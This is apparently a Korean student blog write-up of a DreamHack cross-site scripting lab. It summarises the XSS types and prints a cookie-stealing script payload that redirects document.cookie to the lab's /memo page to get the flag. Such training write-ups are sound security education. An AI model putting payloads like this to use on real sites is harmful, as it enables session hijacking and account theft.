xss 기본 문제를 풀 것이다.
파이썬 소스 페이지는 문제에서 제공해준다. 첫번째 페이지이다.
2번째 페이지이다.
3번째 페이지이다.
3번째 페이지인 /flag에 여러가지를 넣어봤다. 어떤 문구를 넣든 good이라는 결과가 나왔다.
<핵심 코드>
*주관적임
/flag쪽 코드이다. FLAG.strip()을 실행시켜야할 것 같다.
위 함수에서 알게된 부분은 위 ip주소(127.0.0.1)가 cookie를 가지고 있다는 것밖에 해석하지 못했다.'
<문제 풀이>
xss의 이해도가 낮은 것 같아서 개념정리를 했다.
<정의>
xss(Cross-Site Scripting): OWASP에도 몇년동안 계속 올라오는 단순하고 악질적이다. 클라이언트 사이드 취약점 중 하나이며 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에 해당 스크립트를 실행할 수 있다. 공격 종류는 총 4가지 이다.
1. Reflected xss: 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생. (단, URL과 같은 이용자의 요청에 의해 발생)
2. Stored xss: 서버의 DB 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생. (불특정 다수에게 보여짐, 1번과 다름)
3. DOM-based xss: 악성 스크립트가 URL Fragment에 삽입됨.
4. Universal xss: 클라이언트의 브라우저 혹은 플러그인에서 발생하는 취약점으로 SOP 정책을 우회함.
<xss 공격 수행을 확인 조건>
1. 입력 데이터에 대한 충분한 검증 과정이 없어야 함.
2. 서버의 응답 데이터가 웹 브라우저 내 페이지에 출력 시 충분한 검증 과정이 없어야 함.
해당 문제는 Reflected를 이용한 것 같았기에 찾아보기 시작했다.
<Reflected 공격 테스트 예시>
1. <script>alert(숫자 또는 "문자");</script>
를 이용해서 확인해 주었고, 이때도 good이 뜬 것으로 보아 다른 방법을 이용해야 할 것 같다.
두번째 페이지인 /memo로 경로를 재지정 해주고 검증기능을 우회해야할 것 같다.
<사용한 공격>
1. location.href="http://아이피주소/php?=" (URL 주소 반환)
2. document.cookie (document 쿠키 반환)
이 두가지를 사용해
<script>location.href="http://127.0.0.1:8000/memo?memo="+document.cookie;</script>
공격 스크립트를 만들어서 위에 삽입해 주었다.
이렇게 되면 /memo 페이지에 flag가 뜬 것을 확인할 수 있다.
삽질을 가장 많이 한 문제이다.
삽질 예시... SQL Injection 공격이 생각나서 해봤다... 하지만 강의에 나온대로 따라가야 했다.
<참고 문헌>
https://mommoo.tistory.com/60 - post
https://gomguk.tistory.com/61 - xss ex
https://rjswn0315.tistory.com/177 공격 코드
https://beomi.github.io/2017/09/28/HowToMakeWebCrawler-Headless-Chrome/ - headless
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=is_king&logNo=221462496373 - urllib.parse.quote
https://webhack.dynu.net/?idx=20161214.001&print=friendly - 쿠키 탈취
https://learn.dreamhack.io/7#18 - xss 개념정리 1
https://learn.dreamhack.io/173#5 - xss 개념정리 2
'웹해킹 > DreamHack' 카테고리의 다른 글
[휴학] DreamHack xss-2 (0) | 2022.09.14 |
---|---|
[휴학] DreamHack devtools-sources (0) | 2022.09.08 |
[휴학] DreamHack Web Hacking, session-basic (0) | 2022.09.07 |